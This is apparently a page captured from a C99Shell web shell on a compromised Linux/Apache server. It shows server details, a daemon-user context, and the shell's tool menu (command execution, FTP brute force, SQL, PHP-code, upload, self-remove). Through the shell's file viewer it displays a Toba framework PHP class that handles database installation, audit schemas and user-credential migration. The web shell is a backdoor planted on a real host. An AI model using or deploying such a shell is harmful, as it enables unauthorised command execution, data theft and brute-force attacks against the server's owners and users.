!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/modelo/aplicacion/   drwxrwxr-x
Free 13.6 GB of 61.93 GB (21.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_aplicacion_modelo_base.php (23.1 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use SIU\AraiJsonMigrator\Entities\Person;
use 
SIU\AraiJsonMigrator\Entities\Account;
use 
SIU\AraiJsonMigrator\Util\Documento;

class 
toba_aplicacion_modelo_base implements toba_aplicacion_modelo 
{
    protected 
$permitir_exportar_modelo true;
    protected 
$forzar_reemplazar_modelo false;
    protected 
$permitir_instalar true;
    protected 
$permitir_determinar_encoding_bd true;
    protected 
$schema_modelo;
    protected 
$schema_auditoria;
    protected 
$schema_toba null;
    
    
/**
     * @var toba_proceso_gui
     */
    
protected $manejador_interface;
    
    
/**
     * @var toba_modelo_instalacion
     */    
    
protected $instalacion;

    
/**
     * @var toba_modelo_instancia
     */
    
protected $instancia;
    
    
/**
     * @var toba_modelo_proyecto
     */
    
protected $proyecto;
    
    
    
    
/**
     * Inicialización de la clase en el entorno consumidor
     * @param toba_modelo_instalacion $instalacion Representante de la instalación de toba como un todo
     * @param toba_modelo_instancia $instancia Representante de la instancia actualmente utilizada
     * @param toba_modelo_proyecto $proyecto Representante del proyecto como un proyecto toba (sin la lógica de admin. de la aplicación)
     * @param $default_schema Esquema por defecto del proyecto
     * 
     */
    
function set_entorno($manejador_interfacetoba_modelo_instalacion $instalaciontoba_modelo_instancia $instanciatoba_modelo_proyecto $proyecto$default_schema='public')
    {
        
$this->manejador_interface $manejador_interface;
        
$this->instalacion $instalacion;
        
$this->instancia $instancia;
        
$this->proyecto $proyecto;
        
$db $instancia->get_db();
        
$schema_toba $instancia->get_id();
        if (
$db->existe_schema($schema_toba)) {
            
$this->schema_toba $schema_toba;
        }
        
//Si no se harcodeo el schema del proyecto, trata de averiguarlo
        
if (! isset($this->schema_modelo)) {
            
$encontrado false;
            
$id_def_base $this->proyecto->construir_id_def_base($this->get_fuente_defecto());
            if (
$this->instalacion->existe_base_datos_definida($id_def_base)) {            
                
$parametros $this->instalacion->get_parametros_base($id_def_base);
                if (isset(
$parametros['schema'])) {
                    
$this->schema_modelo $parametros['schema']; 
                    
$encontrado true;
                }
            }
            if (! 
$encontrado) {
                
$this->schema_modelo $default_schema;
            }
        }
        
//Construye el schema de la auditoria
        
$this->schema_auditoria $this->schema_modelo.'_auditoria';         
    }
    
    
/**
     * @return toba_modelo_instalacion
     */
    
function get_instalacion()
    {
        return 
$this->instalacion;
    }

    
/**
     * @return toba_modelo_instancia
     */
    
function get_instancia()
    {
        return 
$this->instancia;
    }

    
/**
     * @return toba_modelo_proyecto
     */
    
function get_proyecto()
    {
        return 
$this->proyecto;
    }
    
    
    
/**
     * Retorna la versión actualmente instalada de la aplicación (puede no estar migrada)
     * @return toba_version
     */
    
function get_version_actual()
    {
        return 
$this->get_version_nueva();
    }

    
/**
     * Retorna la versión a la cual se debe migrar la aplicación (si ya esta migrada debería ser igual a la 'version_actual')
     * @return toba_version
     */    
    
function get_version_nueva()
    {
        if (
file_exists($this->proyecto->get_dir().'/proyecto.ini')) {
            
$ini = new toba_ini($this->proyecto->get_dir().'/proyecto.ini');
            if (
$ini->existe_entrada('proyecto''version')) {
                return new 
toba_version($ini->get('proyecto''version'nulltrue));
            }
        }
        return 
$this->instalacion->get_version_actual();
    }
    
    function 
get_id_base()
    {
        
$version $this->get_version_nueva();        
        return 
$this->proyecto->get_id().'_'.$version->get_release('_');        
    }

    
/**
     * Toma como motor predefinido el mismo que el de la instalacion de toba
     */
    
function get_servidor_defecto()
    {
        
$parametros $this->instancia->get_parametros_db();
        if (isset(
$parametros['base'])) {
            unset(
$parametros['base']);
        }
        return 
$parametros;
    }    
    
    
    function 
cargar_modelo_datos($base)
    {
        
$base->abrir_transaccion();
        if (! 
$base->existe_schema($this->schema_modelo)) {
            
$base->crear_schema($this->schema_modelo);
            
$base->set_schema($this->schema_modelo);                
        }
        
$base->retrazar_constraints();
        
$this->crear_estructura($base);
        
$this->cargar_datos($base);
        
$base->cerrar_transaccion();            
    }
    
    
/**
     * @todo No esta soportada la exportación de los datos en Windows cuando el usuario de postgres requiere clave
     */
    
function regenerar_modelo_datos($base$id_def_base)
    {
        
$reemplazar $this->forzar_reemplazar_modelo || $this->manejador_interface->dialogo_simple("Ya existe el modelo de datos, ".
                            
"Desea reemplazarlo? (borra la base completa y la vuelva a cargar)"'s');
        if (! 
$reemplazar) {
            return;
        }
        
$exportar $this->permitir_exportar_modelo && $this->manejador_interface->dialogo_simple("Antes de borrar la base. Desea exportar y utilizar su contenido actual en la nueva carga?"'s');
        if (
$exportar) {
            
//-- Esquema principal
            
$archivo $this->proyecto->get_dir().'/sql/datos_locales.sql';            
            
$this->exportar_esquema_base($id_def_base$archivotrue$this->schema_modelo);
            
//-- Esquema auditoria
            
$archivo $this->proyecto->get_dir().'/sql/datos_auditoria.sql';            
            
$this->exportar_esquema_base($id_def_base$archivofalse$this->schema_auditoria);
        }
        
        
//--- Borra la base fisicamente
        
$this->manejador_interface->mensaje('Borrando modelo actual'false);
        if (
$base->existe_schema($this->schema_modelo)) {
            
$base->borrar_schema($this->schema_modelo);
            
$base->crear_schema($this->schema_modelo);
        }
        
$this->manejador_interface->progreso_avanzar();
        
$this->manejador_interface->progreso_fin();        
        
        
//--- Carga nuevamente el modelo de datos
        
$base $this->instalacion->conectar_base($id_def_base);
        
$this->cargar_modelo_datos($base);    
    }
    
    protected function 
exportar_esquema_base($id_def_base,  $archivo$obligatorio$esquema=null)
    {
        
$parametros $this->instalacion->get_parametros_base($id_def_base);
        if (
file_exists($archivo)) {
            
copy($archivo$archivo.'.old');
        }
        
        
$esquema =  (! is_null($esquema)) ? " -n $esquema " '';
        
$comando "pg_dump -a --disable-triggers $esquema -h {$parametros['profile']} -U {$parametros['usuario']}  -p {$parametros['puerto']} -f \"$archivo\"  {$parametros['base']}";            
        if (! 
toba_manejador_archivos::es_windows() && $parametros['clave'] != '') {
            
$clave "export PGPASSWORD=".$parametros['clave'].';';
            
$comando $clave.$comando;
        }
        
$this->manejador_interface->mensaje("Ejecutando: $comando");
        
$salida = array();
        echo 
exec($comando$salida$exito);
        echo 
implode("\n"$salida);
        if (
$obligatorio && $exito 0) {
            throw new 
toba_error('No se pudo exportar correctamente los datos');
        }
    }
    
    
    
/**
     * Determina si el modelo de datos se encuentra cargado en una conexión específica
     * @param toba_db $base
     */
    
function estructura_creada(toba_db $base)
    {
        
$tablas $base->get_lista_tablas(false$this->schema_modelo);
        return ! empty(
$tablas);
    }
    
    function 
crear_estructura(toba_db $base)
    {
        
$estructura $this->proyecto->get_dir().'/sql/estructura.sql';
        if (
file_exists($estructura)) {
            
$this->manejador_interface->mensaje('Creando estructura'false);
            
$this->manejador_interface->progreso_avanzar();    
            
$base->ejecutar_archivo($estructura);
            
$this->manejador_interface->progreso_fin();
        }
    }

    
    function 
cargar_datos(toba_db $base)
    {
        
$locales =  $this->proyecto->get_dir().'/sql/datos_locales.sql';
        if (
file_exists($locales)) {
            
$this->manejador_interface->mensaje('Cargando datos locales'false);            
            
$this->manejador_interface->progreso_avanzar();            
            
$base->ejecutar_archivo($locales);            
            
$this->manejador_interface->progreso_fin();
        } else {
            
$datos $this->proyecto->get_dir().'/sql/datos_basicos.sql';
            if (
file_exists($datos)) {
                
$this->manejador_interface->mensaje('Cargando datos básicos'false);
                
$base->ejecutar_archivo($datos);
                
$this->manejador_interface->progreso_fin();                
            }            
        }        
    
    }
    
    function 
get_fuente_defecto()
    {
        
//--- Se asume que la base a instalar corresponde a la primer fuente
        
$fuentes $this->proyecto->get_indice_fuentes();
        if (empty(
$fuentes)) {
            throw new 
toba_error("No existen fuentes definidas");
        }        
        return 
current($fuentes);        
    }
    
    
/**
     * @param array $datos_servidor Asociativo con los parámetros de conexión a la base
     */
    
function instalar($datos_servidor)
    {
        if (! 
$this->permitir_instalar) {
            return;
        }
        
$version $this->get_version_nueva();

        
$id $this->proyecto->get_id();
        
$this->manejador_interface->titulo("Instalando $id ".$version->__toString());        
        
$id_def_base $this->proyecto->construir_id_def_base($this->get_fuente_defecto());
        
        
//--- Chequea si existe la entrada de la base de negocios en el archivo de bases
        
if (! $this->instalacion->existe_base_datos_definida($id_def_base)) {
            if (! isset(
$datos_servidor['base'])) {
                
$id_base $this->get_id_base();
                
$datos_servidor['base'] = $id_base;
            }
            
//-- Cambia el schema
            
$datos_servidor['schema'] = $this->schema_modelo;            

            
//-- Agrega la definición de la base
            
$this->instalacion->agregar_db($id_def_base$datos_servidor);
            if (
$this->permitir_determinar_encoding_bd) {
                
$this->instalacion->determinar_encoding($id_def_base);
            }
        }
        
        
//--- Chequea si existe fisicamente la base creada
        
if (! $this->instalacion->existe_base_datos($id_def_base)) {
            
$this->instalacion->crear_base_datos($id_def_basefalse);
        } 
        
        
//--- Chequea si hay un modelo cargado y decide que hacer en tal caso
        
$base $this->instalacion->conectar_base($id_def_base);    
        if (!
$this->estructura_creada($base)) {
            
$this->cargar_modelo_datos($base);            
        } else {
            
$this->regenerar_modelo_datos($base$id_def_base);
        }
        
        
//Actualiza permisos de la base
        
$this->proyecto->generar_roles_db();
    }

    function 
desinstalar()
    {
        
$id $this->proyecto->get_id();
        
$this->manejador_interface->titulo("Desinstalando $id");        
        
$id_def_base $this->proyecto->construir_id_def_base($this->get_fuente_defecto());
        
        
//--- Chequea si existe la entrada de la base de negocios en el archivo de bases
        
if ($this->instalacion->existe_base_datos_definida($id_def_base)) {
            
//--- Chequea si existe fisicamente la base creada y la borra
            
if ($this->instalacion->existe_base_datos($id_def_base)) {
                
$this->manejador_interface->mensaje('Borrando base de datos'false);
                
$this->manejador_interface->progreso_avanzar();    
                
$this->instalacion->borrar_base_datos($id_def_base);
                
$this->manejador_interface->progreso_fin();                
                
            }             
            
$this->instalacion->eliminar_db($id_def_base);
        }    
    }
    
    
/**
     * Crea los triggers, store_procedures y esquema para la auditoría de tablas del sistema
     * En caso que el schema exista, busca nuevos campos y tablas
     * @param array $tablas Tablas especificas a auditar
     * @param string $prefijo_tablas Tomar todas las tablas que tienen este prefijo, si es null se toman todas
     * @param boolean $con_transaccion Crea el esquema dentro de una transaccion
     * @param string $fuente Indica que se va a procesar solo una de las fuentes del proyecto
     * @param boolean $guardar_datos Indica que se deben guardar y restaurar los datos actuales luego del proceso
     * @param boolean $fuerza_eliminacion_triggers Indica que se deben eliminar los triggers a toda costa
     */
    
function crear_auditoria($tablas=array(), $prefijo_tablas=null$con_transaccion=true$fuente=null$lista_schemas = array(), $guardar_datos=false$fuerza_eliminacion_triggers=false)
    {
        if (! 
is_null($fuente)) {
            
$fuentes = array($fuente);
        } else {
            
$fuentes $this->proyecto->get_indice_fuentes();
        }
        
toba_logger::instancia()->var_dump($fuentes'fuentes activas');
        if (empty(
$fuentes)) {
            return;
        }
        
        
//Recorro los schemas de las fuentes del proyecto
        
$schemas = array();
        foreach(
$fuentes as $id_fuente) {            
            
$schemas[$id_fuente] = aplanar_matriz(toba_info_editores::get_schemas_fuente($this->proyecto->get_id(), $id_fuente), 'schema');
        }        
        
        if (! 
is_null($fuente) && !empty($lista_schemas)) {
            
$aux array_intersect($schemas[$fuente], $lista_schemas);
            if (
$aux !== false && ! empty($aux)) {
                
$schemas[$fuente] = $aux;
            }
        }
        
toba_logger::instancia()->var_dump($schemas'schemas de fuentes');        
                
        
//--- Tablas de auditoría
        
$this->manejador_interface->mensaje('Creando auditoria'true);
        
$archivo $this->proyecto->get_dir().'/sql/datos_auditoria.sql';
        
$bases = array();
        foreach(
$fuentes as $fuente) {
            try {
                
$bases[$fuente] = $this->proyecto->get_db_negocio($fuente);    
                if (
$guardar_datos) {
                    
$id_def_base $this->proyecto->construir_id_def_base($fuente);        //Guarda los datos actuales de auditoria
                    
$this->exportar_esquema_base($id_def_base$archivofalse" '*_auditoria' ");
                }            
                
// Hace la migracion y restauracion de datos
                
if ($con_transaccion) {
                    
$bases[$fuente]->abrir_transaccion();
                }        
                
$this->procesar_schemas_fuente($bases[$fuente], $schemas[$fuente], false$tablas$prefijo_tablas'crear'0$fuerza_eliminacion_triggers);
                if (
$guardar_datos) {
                    
$bases[$fuente]->ejecutar_archivo($archivo);
                }
            } catch (
toba_error_db $e) {
                if (isset(
$bases[$fuente])) {
                    
$bases[$fuente]->abortar_transaccion();            //Si hay algun error hace revert y anula el objeto de la bd
                    
unset($bases[$fuente]);
                }
            }
        }

        
$this->proyecto->generar_roles_db();
        if (
$con_transaccion) {
            foreach(
$fuentes as $fuente) {
                if (isset(
$bases[$fuente])) {                    //Cierra la transaccion en aquellas bases presentes y sin errores
                    
$bases[$fuente]->cerrar_transaccion();
                }
            }
        }
    }
    
    
/**
     * Borra los triggers, store_procedures y esquema para la auditoría de tablas del sistema
     */
    
function borrar_auditoria($tablas=array(), $prefijo_tablas=null$con_transaccion=true)
    {
        
$this->manejador_interface->mensaje('Borrando esquema y triggers de auditoria'true);        
        
$fuentes $this->proyecto->get_indice_fuentes();
        
toba_logger::instancia()->var_dump($fuentes'fuentes activas');
        if (empty(
$fuentes)) {
            return;
        }
        
        
$schemas = array();
        foreach(
$fuentes as $fuente) {            
            
$schemas[$fuente] = aplanar_matriz(toba_info_editores::get_schemas_fuente($this->proyecto->get_id(), $fuente), 'schema');
        }
        
toba_logger::instancia()->var_dump($schemas'schemas de fuentes');            
        foreach(
$fuentes as $fuente) {
            try {
                
$base$this->proyecto->get_db_negocio($fuente);
                
$this->procesar_schemas_fuente($base$schemas[$fuente], $con_transaccion$tablas$prefijo_tablas'eliminar');
                unset(
$base);
            } catch (
toba_error_db $e) {
                if (isset(
$base)) {
                    
$base->abortar_transaccion();            //Si hay algun error hace revert y anula el objeto de la bd
                    
unset($base);
                }
            }    
        }
    }
    
    function 
purgar_auditoria($tiempo 0$tablas=array(), $prefijo_tablas=null$con_transaccion=true)
    {
        
$this->manejador_interface->mensaje('Limpiando las tablas de auditoria'true);    
        
$fuentes $this->proyecto->get_indice_fuentes();
        
toba_logger::instancia()->var_dump($fuentes'fuentes activas');
        if (empty(
$fuentes)) {
            return;
        }
        
        
$schemas = array();
        foreach(
$fuentes as $fuente) {            
            
$schemas[$fuente] = aplanar_matriz(toba_info_editores::get_schemas_fuente($this->proyecto->get_id(), $fuente), 'schema');
        }
        
toba_logger::instancia()->var_dump($schemas'schemas de fuentes');
        foreach(
$fuentes as $fuente) {
            try {
                
$base$this->proyecto->get_db_negocio($fuente);
                
$this->procesar_schemas_fuente($base$schemas[$fuente], $con_transaccion$tablas$prefijo_tablas'purgar'$tiempo);
                unset(
$base);
            } catch (
toba_error_db $e) {
                if (isset(
$base)) {
                    
$base->abortar_transaccion();            //Si hay algun error hace revert y anula el objeto de la bd
                    
unset($base);
                }
            }                
        }
    }
    
    
    function 
migrar_auditoria_2_4($tablas=array(), $prefijo_tablas=null)
    {
        
$fuentes $this->proyecto->get_indice_fuentes();
        if (empty(
$fuentes)) {
            return;
        }
        
$base $this->proyecto->get_db_negocio();
        
$auditoria $base->get_manejador_auditoria($this->schema_modelo$this->schema_auditoria$this->schema_toba);
        if (
is_null($auditoria)) {        //No existe manejador para el motor en cuestion
            
return;
        }
        
        if (empty(
$tablas)) {
            
$auditoria->agregar_tablas($prefijo_tablas);
        } else {
            foreach(
$tablas as $tabla) {
                
$auditoria->agregar_tabla($tabla);
            }
        }

        
$auditoria->migrar_estructura_campos_toba_2_4();
    }
    
    
/**
     * Ejecuta los scripts de migración entre dos versiones específicas del sistema
     * @param toba_version $desde
     * @param toba_version $hasta
     */
    
function migrar(toba_version $desdetoba_version $hasta)
    {
        
    }    
    
    
/**
     *  Crea el lenguaje plpgsql unicamente si el mismo aun no existe para la base de datos.
     */
    
function crear_lenguaje_procedural(toba_db $base)
    {
        
$base->crear_lenguaje_procedural();
    }
    
    
/**
     *  Procesa los cambios para cada schema de la fuente 
     * @param toba_db $db
     * @param array $schemas
     * @param boolean $con_transaccion
     * @param array $tablas
     * @param string $prefijo
     * @param string $accion
     * @param integer $tiempo
     * @param boolean $fuerza_eliminacion_triggers
     */
    
protected function procesar_schemas_fuente($db$schemas$con_transaccion$tablas$prefijo$accion$tiempo=0$fuerza_eliminacion_triggers=false)
    {        
        if (
$con_transaccion) {
            
$db->abrir_transaccion();
        }

        foreach(
$schemas as $schema)  {
            
$this->manejador_interface->mensaje('Procesando schema ' $schemafalse);
            
$logs $schema '_auditoria';
            
$auditoria $db->get_manejador_auditoria($schema$logs$this->schema_toba);
            if (! 
is_null($auditoria)) {        //Existe manejador para el motor en cuestion
                
$auditoria->set_triggers_eliminacion_forzada($fuerza_eliminacion_triggers);
                
$this->procesar_accion_schema($auditoria$tablas$prefijo$accion$tiempo);
                unset(
$auditoria);
            }            
            
$this->manejador_interface->progreso_fin();
        }
        
        if (
$con_transaccion) {
            
$db->cerrar_transaccion();
        }
    }        
    
    
/**
     * Agrega las tablas y toma la accion correspondiente sobre las mismas
     * @param toba_auditoria_tablas_postgres $auditoria
     * @param array $tablas
     * @param string $prefijo
     * @param string $accion
     * @param integer $tiempo
     */
    
protected function procesar_accion_schema($auditoria$tablas$prefijo$accion$tiempo
    {
        if (empty(
$tablas)) {
            
$auditoria->agregar_tablas($prefijo);
        } else {
            foreach(
$tablas as $tabla) {
                
$auditoria->agregar_tabla($tabla);
            }
        }
        
        
$this->manejador_interface->progreso_avanzar();
        switch (
$accion) {
            case 
'eliminar' 
                
$auditoria->eliminar();
                break;
            case 
'purgar'
                
$auditoria->purgar($tiempo);
                break;
            default:
                if (! 
$auditoria->existe()) {
                    
$auditoria->crear();
                } else {
                    
$auditoria->migrar();            
                }
                break;            
        }
        
$this->manejador_interface->progreso_avanzar();
    }

    
/**
     * @return array
     *         array(
     *             array(
     *                 'usuario' => 'prueba',
     *                'nombres' => 'Juan',
     *                'apellidos' => 'Perez',
     *                'nombre_completo' => 'Juan Perez',
     *                'bloqueado' => '1|0',
     *                'emails' => 'prueba@siu.edu.ar',
     *                'clave' => 'sha("123456")',
     *                'autentificacion' => 'crypt|sha',
     *             ),
     *             array(
     *                 'usuario' => 'prueba1',
     *                'nombres' => 'Jose',
     *                'apellidos' => 'Aimar',
     *                'nombre_completo' => 'Jose Aimar',
     *                'bloqueado' => '1|0',
     *                'emails' => 'prueba1@siu.edu.ar',
     *                'clave' => 'sha("12345678")',
     *                'autentificacion' => 'crypt|sha',
     *             ),
     *             ...,
     *         )
     *
     */
    
public function getDatosUsuarios()
    {
        
$db_arai $this->get_instancia()->get_db();

        
$sql "SELECT  DISTINCT
                        u.usuario,
                        u.clave,
                        u.nombre,
                        u.email,
                        u.autentificacion,
                        CASE
                          WHEN lower(u.autentificacion) = 'bcrypt' THEN 'crypt'
                          WHEN lower(u.autentificacion) = 'sha256' OR lower(u.autentificacion) = 'sha512' THEN 'sha'
                          ELSE lower(u.autentificacion)
                        END autentificacion_arai,
                        u.bloqueado
                FROM apex_usuario u
                JOIN apex_usuario_proyecto up ON (u.usuario = up.usuario AND up.proyecto = :toba_proyecto) "
;
        
$sentencia $db_arai->sentencia_preparar($sql);
        
$datosUsuariosToba $db_arai->sentencia_consultar($sentencia, array('toba_proyecto' => $this->get_proyecto()->get_id()));

        
$datosUsuarios = array();
        foreach(
$datosUsuariosToba as $clave => $datosUsuarioToba) {
            
$nombresApellidos $this->getNombresApellidos($datosUsuarioToba['nombre']);
            
$datosUsuarios[$clave] = array(
                
'usuario' => $datosUsuarioToba['usuario'],
                
'nombres' => trim($nombresApellidos['nombres']),
                
'apellidos' => trim($nombresApellidos['apellidos']),
                
'nombre_completo' => trim($datosUsuarioToba['nombre']),
                
'bloqueado' => strval($datosUsuarioToba['bloqueado']),
                
'emails' => trim($datosUsuarioToba['email']) != "" trim($datosUsuarioToba['email']) : NULL,
                
'clave' => $datosUsuarioToba['clave'],
                
'autentificacion' => $datosUsuarioToba['autentificacion_arai'],
            );
        }

        return 
$datosUsuarios;
    }

    
/**
     * @param array $datosUsuario
     * @return Person
     */
    
public function generatePerson(array $datosUsuario)
    {
        
/* @var Person $person */
        
$person = new Person();
        
// nombre y apellido
        
if (isset($datosUsuario['nombres'])) {
            
$person->setGivenName($datosUsuario['nombres']);
        }
        if (isset(
$datosUsuario['apellidos'])) {
            
$person->setSn($datosUsuario['apellidos']);
        }
        if (isset(
$datosUsuario['nombre_completo'])) {
            
$person->setCn($datosUsuario['nombre_completo']);
        }
        
// persona bloqueada
        
if (isset($datosUsuario['bloqueado'])) {
            
$person->setBloqueada($datosUsuario['bloqueado']);
        }
        
// Email de la persona
        
if (!empty($datosUsuario['emails'])) {
            
$person->setMail($datosUsuario['emails']);
        }

        return 
$person;
    }

    
/**
     * @param array $datosUsuario
     * @param Person $person
     * @return Account
     */
    
public function generateAccountApp(array $datosUsuarioPerson $person)
    {
        
/* @var Account $account */
        
$account = new Account();

        if (isset(
$datosUsuario['usuario'])) {
            
$account->setUid($datosUsuario['usuario']);
            
$account->setUniqueIdentifier($datosUsuario['usuario']);
        }

        
// Setear identificacion de la aplicacion
        
$this->setearAplicacion($account);

        if (isset(
$datosUsuario['clave'])) {
            
$account->setPassword($datosUsuario['clave']);
        }
        if (isset(
$datosUsuario['autentificacion'])) {
            
$account->setPasswordAlgorithm($datosUsuario['autentificacion']);
        }
        if (isset(
$person)) {
            
$account->setPerson($person);
        }

        return 
$account;
    }

    
/**
     * @param Account $account
     */
    
public function setearAplicacion(Account $account)
    {
        
$appUniqueId null;
        if (
$this->instalacion->vincula_arai_usuarios()) {
            
$appUniqueId = \SIUToba\Framework\Arai\RegistryHooksProyectoToba::getAppUniqueId();
        }
        if (isset(
$appUniqueId)) {
            
$account->setAppUniqueId($appUniqueId);
        } else {
            
$nombreProyecto $this->get_proyecto()->get_parametro('proyecto''nombre'false);
            
$account->setAppName(utf8_e_seguro(isset($nombreProyecto)?$nombreProyecto:$this->get_proyecto()->get_id()));
        }
    }

    private function 
getNombresApellidos($dato)
    {
        
$nombre_partes explode(" "$dato);
        if (
count($nombre_partes) > 1) {
            
//Parte el nombre/apellido, siempre dandole mas palabras al nombre
            
$nombres $apellidos "";
            for (
$i 0$i count($nombre_partes); $i++) {
                if (
$i count($nombre_partes)/2) {
                    
$nombres .= $nombre_partes[$i]." ";
                } else {
                    
$apellidos .= $nombre_partes[$i]." ";
                }
            }
        } else {
            
$nombres $dato;
            
$apellidos $nombres;
        }
        return array(
            
'nombres' => $nombres,
            
'apellidos' => $apellidos,
        );
    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4885 ]--